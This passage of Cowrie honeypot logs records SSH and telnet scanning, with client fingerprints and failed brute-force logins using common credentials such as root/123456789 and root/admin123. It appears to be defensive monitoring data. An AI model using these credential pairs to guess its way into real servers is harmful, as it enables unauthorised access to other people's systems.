16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:14:10.555931Z","src_ip":"20.228.179.34","session":"13d48e05238a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitstampexchange","password":"bitstamp123","message":"login attempt [bitstampexchange/bitstamp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:14:10.588181Z","src_ip":"20.228.179.34","session":"13d48e05238a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:14:11.622460Z","src_ip":"20.228.179.34","session":"13d48e05238a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.71","src_port":49888,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d4f2ab407e1","protocol":"ssh","message":"New connection: 92.118.39.71:49888 (159.203.135.109:22) [session: 2d4f2ab407e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:14:37.409073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:14:37.412911Z","src_ip":"92.118.39.71","session":"2d4f2ab407e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:14:37.511973Z","src_ip":"92.118.39.71","session":"2d4f2ab407e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:14:37.816035Z","src_ip":"92.118.39.71","session":"2d4f2ab407e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:14:38.917643Z","src_ip":"92.118.39.71","session":"2d4f2ab407e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.22297477722168,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:14:42.834004Z","src_ip":"170.64.224.25","session":"59f325580ae5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":64958,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0944985c125","protocol":"ssh","message":"New connection: 109.91.4.177:64958 (10.17.0.5:22) [session: c0944985c125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:14:48.077161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:14:48.081163Z","src_ip":"109.91.4.177","session":"c0944985c125","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:14:48.182100Z","src_ip":"109.91.4.177","session":"c0944985c125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iflytek","message":"login attempt [root/iflytek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:14:48.617161Z","src_ip":"109.91.4.177","session":"c0944985c125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:14:49.717296Z","src_ip":"109.91.4.177","session":"c0944985c125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":40454,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2fa86f177ad","protocol":"ssh","message":"New connection: 177.76.134.52:40454 (10.17.0.5:22) [session: d2fa86f177ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:14:53.425631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:14:53.432196Z","src_ip":"177.76.134.52","session":"d2fa86f177ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:14:53.575816Z","src_ip":"177.76.134.52","session":"d2fa86f177ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminnimda","message":"login attempt [root/adminnimda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:14:54.269736Z","src_ip":"177.76.134.52","session":"d2fa86f177ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:14:55.409435Z","src_ip":"177.76.134.52","session":"d2fa86f177ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.56.160.82","src_port":38376,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e5d1e9bedf9","protocol":"ssh","message":"New connection: 218.56.160.82:38376 (10.17.0.5:22) [session: 7e5d1e9bedf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:15:22.288233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:15:22.292380Z","src_ip":"218.56.160.82","session":"7e5d1e9bedf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:15:22.547700Z","src_ip":"218.56.160.82","session":"7e5d1e9bedf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qy123456.","message":"login attempt [root/Qy123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:15:23.579198Z","src_ip":"218.56.160.82","session":"7e5d1e9bedf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:15:24.833132Z","src_ip":"218.56.160.82","session":"7e5d1e9bedf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60934,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6694ce3a19a","protocol":"telnet","message":"New connection: 170.64.224.25:60934 (159.203.135.109:23) [session: f6694ce3a19a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:15:33.396210Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":53368,"dst_ip":"159.203.135.109","dst_port":22,"session":"56d594cb7585","protocol":"ssh","message":"New connection: 159.65.58.200:53368 (159.203.135.109:22) [session: 56d594cb7585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:15:39.596343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:15:39.790247Z","src_ip":"159.65.58.200","session":"56d594cb7585","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:15:39.793070Z","src_ip":"159.65.58.200","session":"56d594cb7585","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shalyu","password":"123456","message":"login attempt [shalyu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:15:41.033553Z","src_ip":"159.65.58.200","session":"56d594cb7585","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:15:42.324310Z","src_ip":"159.65.58.200","session":"56d594cb7585","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":54724,"dst_ip":"159.203.135.109","dst_port":22,"session":"382c37ea80b9","protocol":"ssh","message":"New connection: 103.77.175.15:54724 (159.203.135.109:22) [session: 382c37ea80b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:15:51.640743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:15:51.644349Z","src_ip":"103.77.175.15","session":"382c37ea80b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:15:51.866304Z","src_ip":"103.77.175.15","session":"382c37ea80b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"221278","message":"login attempt [root/221278] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:15:52.533878Z","src_ip":"103.77.175.15","session":"382c37ea80b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.116.220.251","src_port":59389,"dst_ip":"159.203.135.109","dst_port":22,"session":"699322c46661","protocol":"ssh","message":"New connection: 181.116.220.251:59389 (159.203.135.109:22) [session: 699322c46661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:15:53.495909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:15:53.499659Z","src_ip":"181.116.220.251","session":"699322c46661","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:15:53.663998Z","src_ip":"181.116.220.251","session":"699322c46661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:15:53.757806Z","src_ip":"103.77.175.15","session":"382c37ea80b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhangxing","message":"login attempt [root/zhangxing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:15:54.352548Z","src_ip":"181.116.220.251","session":"699322c46661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:15:55.519430Z","src_ip":"181.116.220.251","session":"699322c46661","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":52296,"dst_ip":"10.17.0.5","dst_port":22,"session":"3153eb381c89","protocol":"ssh","message":"New connection: 80.94.92.55:52296 (10.17.0.5:22) [session: 3153eb381c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:16:06.663344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:16:07.366913Z","src_ip":"80.94.92.55","session":"3153eb381c89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:16:07.370390Z","src_ip":"80.94.92.55","session":"3153eb381c89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.74981713294983,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:16:08.145871Z","src_ip":"170.64.224.25","session":"f6694ce3a19a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:16:10.489357Z","src_ip":"80.94.92.55","session":"3153eb381c89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:16:12.404644Z","src_ip":"80.94.92.55","session":"3153eb381c89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.56.160.82","src_port":43667,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a0e0cc70ff5","protocol":"ssh","message":"New connection: 218.56.160.82:43667 (10.17.0.5:22) [session: 2a0e0cc70ff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:16:31.365678Z"}
